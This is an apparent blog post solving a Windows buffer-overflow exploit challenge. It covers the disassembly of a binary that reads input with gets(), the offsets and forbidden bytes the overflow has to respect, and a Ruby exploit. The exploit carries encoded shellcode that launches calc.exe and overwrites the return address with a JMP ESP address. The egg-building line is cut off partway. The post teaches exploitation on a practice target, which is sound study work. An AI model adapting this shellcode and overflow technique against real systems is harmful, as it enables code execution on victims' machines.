Advanced Windows Buffer Overflows: Take #1
In the previous post I mentioned some interesting exploit challenges were setup
online
by
Lurene Grenier.
Today, just like we did
back in the day
with Gera's challenges, we're going to cover them and show some possible solutions to it. Essentially we will follow the same approach we did back in the day, the main differences are that this time we're facing a win32 environment and that the challenges are distributed as pure binaries, no source code.
As stated in the challenge site, we need to setup a Windows 2000 SP4 box with the standard tools of the trade on it. In my case I included Immunity Debugger and Cygwin (with Ruby). Taking a look at the challenge in IDA we can see the following:
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 1028
.text:00401009 push ebx
.text:0040100A push esi
.text:0040100B push edi
.text:0040100C int 3 ; Trap to Debugger
.text:0040100D lea eax, [ebp+Buffer]
.text:00401013 mov [ebp+var_4], eax
.text:00401016 lea ecx, [ebp+Buffer]
.text:0040101C push ecx ; Buffer
.text:0040101D call _gets
.text:00401022 add esp, 4
.text:00401025 mov edx, [ebp+var_4]
.text:00401028 push edx
.text:00401029 push offset Format ; "You sent me: %s"
.text:0040102E call _printf
.text:00401033 add esp, 8
.text:00401036 pop edi
.text:00401037 pop esi
.text:00401038 pop ebx
.text:00401039 mov esp, ebp
.text:0040103B pop ebp
.text:0040103C retnFirst of all, I patched the binary in the debugger to avoid the annoying "int 3" instruction every execution. Then, onto exploit duties. This time we don't need to make a huge reversing effort because the code is quite self explaining. The challenge simply receives some input from the user using
gets()
and then prints it back in the screen. Just in case you didn't already know, MSDN is very clear in his explanation when he says:
Security Note Because there is no way to limit the number of characters read by gets, untrusted input can easily cause buffer overruns. Use fgets instead.What else can I say...In the course of my testing I used metasploit's very own pattern_create and pattern_offset tools to locate areas where the input data should be carefully chosen to avoid parsing errors. After some more research we can summarize the restrictions for the exploit as the following:
- DWORD at offset 1024 should contain readable data.
- The return address is at offset 1032, hence we need 4 bytes of padding between the previous readable DWORD and the return address.
- Forbidden bytes: 0x00, 0x0a and 0x0d.
#!/usr/bin/env ruby
# windows/exec - 304 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# EXITFUNC=process, CMD=calc.exe
shellcode = "\x89\xe0\xdd\xc5\xd9\x70\xf4\x5e\x56\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x4b\x4c\x4b\x58\x50\x44\x45\x50\x43\x30" +
"\x45\x50\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55" +
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b" +
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" +
"\x4c\x4b\x43\x31\x4a\x4e\x46\x51\x49\x50\x4d\x49\x4e\x4c" +
"\x4b\x34\x49\x50\x44\x34\x43\x37\x49\x51\x48\x4a\x44\x4d" +
"\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x46\x34\x51\x34" +
"\x43\x34\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x46\x44\x43\x31" +
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" +
"\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31" +
"\x4a\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x48\x43\x51\x4f" +
"\x46\x51\x4c\x36\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36" +
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" +
"\x4e\x4d\x4c\x4b\x43\x58\x45\x58\x4d\x59\x4a\x58\x4b\x33" +
"\x49\x50\x42\x4a\x46\x30\x42\x48\x43\x4e\x49\x48\x4b\x52" +
"\x42\x53\x42\x48\x4c\x58\x4b\x4e\x4c\x4a\x44\x4e\x50\x57" +
"\x4b\x4f\x4b\x57\x43\x53\x43\x51\x42\x4c\x42\x43\x46\x4e" +
"\x42\x45\x42\x58\x45\x35\x43\x30\x41\x41"
# jump offset
jmp = "\xE9\x80\x6E\x2D\x00"
# kernel32.dll - JMP ESP
ret_addr = "\xDB\x29\x45\x79"
# build the egg
egg = ("\x90"*(1020-shellcode.length))<<"PADD"<<"\x40\xE5\x4A\x78"<<"PADD"<
$ ./exp.rb | ./awbo2_.exe
I hope you enjoyed the tour, more coming up soon! :)